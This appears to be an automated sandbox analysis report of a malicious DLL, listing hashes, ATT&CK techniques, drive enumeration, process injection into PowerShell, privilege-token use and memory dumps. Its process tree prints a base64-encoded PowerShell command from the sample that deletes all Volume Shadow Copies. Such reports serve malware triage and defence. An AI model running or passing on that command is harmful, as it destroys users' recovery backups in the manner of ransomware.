c5fb7187fb4eeb1ab4d725febec0c79ec45ae67498fbc2007b00e0cae11c8a02

General

Target

c5fb7187fb4eeb1ab4d725febec0c79ec45ae67498fbc2007b00e0cae11c8a02.dll
Size

166KB
MD5

191fe230379a863d754bf84dbacc52bf
SHA1

169ddded3a4e59ceab433deb66b03e4af8576fa3
SHA256

c5fb7187fb4eeb1ab4d725febec0c79ec45ae67498fbc2007b00e0cae11c8a02
SHA512

85afdc57d6f71781a7749f40867ee167ba26dc5c7e38352b0c960106227d3838fc1fc71cdbc19fa50654f2d9db94d9d66d1a31b7060b3fea70be8b73d766f157

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0aceb8fc010d801	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2036 rundll32.exe
2036 rundll32.exe
1748 powershell.exe

pid	process
2036	rundll32.exe
2036	rundll32.exe
1748	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeBackupPrivilege	964	vssvc.exe
Token: SeRestorePrivilege	964	vssvc.exe
Token: SeAuditPrivilege	964	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 1656 wrote to memory of 2036	1656	rundll32.exe	rundll32.exe
PID 2036 wrote to memory of 1748	2036	rundll32.exe	powershell.exe
PID 2036 wrote to memory of 1748	2036	rundll32.exe	powershell.exe
PID 2036 wrote to memory of 1748	2036	rundll32.exe	powershell.exe
PID 2036 wrote to memory of 1748	2036	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\c5fb7187fb4eeb1ab4d725febec0c79ec45ae67498fbc2007b00e0cae11c8a02.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\c5fb7187fb4eeb1ab4d725febec0c79ec45ae67498fbc2007b00e0cae11c8a02.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1748-65-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

Filesize
8KB

Download
memory/1748-70-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1748-67-0x000007FEF34E0000-0x000007FEF403D000-memory.dmp

Filesize
11.4MB

Download
memory/1748-69-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1748-68-0x00000000024B2000-0x00000000024B4000-memory.dmp

Filesize
8KB

Download
memory/1748-66-0x00000000024B0000-0x00000000024B2000-memory.dmp

Filesize
8KB

Download
memory/2036-59-0x00000000034B0000-0x00000000035B9000-memory.dmp

Filesize
1.0MB

Download
memory/2036-60-0x0000000000160000-0x000000000016A000-memory.dmp

Filesize
40KB

Download
memory/2036-64-0x00000000001A0000-0x00000000001A6000-memory.dmp

Filesize
24KB

Download
memory/2036-61-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/2036-62-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/2036-63-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/2036-54-0x0000000075CE1000-0x0000000075CE3000-memory.dmp

Filesize
8KB

Download
memory/2036-58-0x00000000002B0000-0x00000000002CF000-memory.dmp

Filesize
124KB

Download
memory/2036-57-0x00000000030F0000-0x000000000321D000-memory.dmp

Filesize
1.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads